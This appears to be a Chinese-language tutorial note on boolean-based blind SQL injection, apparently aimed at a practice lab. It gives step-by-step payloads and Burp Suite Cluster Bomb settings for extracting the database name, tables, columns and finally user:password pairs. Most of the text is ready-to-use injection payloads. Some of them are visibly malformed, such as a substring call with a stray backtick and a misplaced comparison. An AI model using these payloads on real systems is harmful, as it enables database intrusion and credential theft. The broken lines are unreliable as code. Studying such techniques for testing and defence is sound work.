1、判断注入
输入1’ and ‘1’=‘1 和 1’ and ‘1’='2(1 and 1=1 1 and 1=2) 返回页面不一样,只返回正确与错误的页面
2、select if(1=1,1,0) 返回正确页面
select if(1=2,1,0)返回错误页面
例如
select * from 'users' where 'user_id' =1 and if( 1=1,1,0)
if(条件,值1,值2),如果条件成立。返回值1,不成立返回值2
3、length(database())这个函数查询数据库名长度
例如
if(length(database())<5,1,0)
判断长度是否小于5,返回正确的页面则是小于5
4、substring(‘string’,n,1) 这个函数截取字符串的第个字符,可以用来截取数据库的所有字符
例如
substring(database()=‘a’,n,1`)
a和n为变量
select * from 'users' where 'user_id' =1 and if((database()='a',n,1),1,0)
利用burpsuite抓包,选择Cluster Bomb模式
将n设置为变量,payload1 选择为数字,设置为从1到4,依次增加1
将a设置成变量,paylload2 导入数字,字母字典,再添加_ @ .三个符号
攻击得出库名
5、获取表名
例如
if(substring((select table_name from information_schema.tables where table_schema =database() limit 0,1),n,1)='a',1,0)
用brupsuite抓包
n为第一个变量,payload1 设置成数字,1到40,依次递增1
(ps:40是表名的长度,一般不会这么长,可以设置成20或更小)
a为第二个变量,payload2导入数字,字母字典,再添加_ @ .三个符号
攻击得出表名
(如果要获取多个表,将limit后的0设置成变量,payload 设置成数字从0到n,依次递增1)
n为你想要查到的第n+1个表,如n为1则是第二个表,且此时有三个payload,顺序时从左往右的变量一一对应相应的payload
6、根据得到表名得出表内字段
例如
if(substring((select column_name from information_schema.columns where table_name ='表名' and table_schema=database() limit 0,1),n,1)='a',1,0)
用burpsuite抓包
n为第一个变量,payload1设置成数字,1到40,依次递增1
a为第二个变量,payload2导入数字,字母字典。再添加_ @ .三个符号
攻击得出字段名
(如果要获取多个字段,将limit后的0设置成变量,payload 设置成数字从0到n,依次递增1)
n为你想要查到的第n+1个字段,如n为1则是第二个字段,且此时有三个payload,顺序时从左往右的变量一一对应相应的payload
如图
7、得到表内字段有用户名和密码,查询表内的账号密码
例如
if(substring((select concat(user,0x3a,password) from users limit 0,1),n,1)='a',1,0)
用burpsuite抓包
n为第一个变量,为密码长度,一般不会大于100,payload1设置成数字,从1到100,依次递增1
a为第二个变量,payload2 导入数字,字母字典,再添加@ _ . : 四个符号,因为前面的代码里0x3a代表冒号,用来隔开账号和密码。
攻击得出第一个账号和密码
(如果想得出第n个账号和密码,将limit后的0改成n-1,例如第三个账号和密码为 limit 2)
8、得出结果,提交测试
ps:一定要注意中间有没有少了个逗号,或者最后注释l两个减号的后面有一个空格或者+号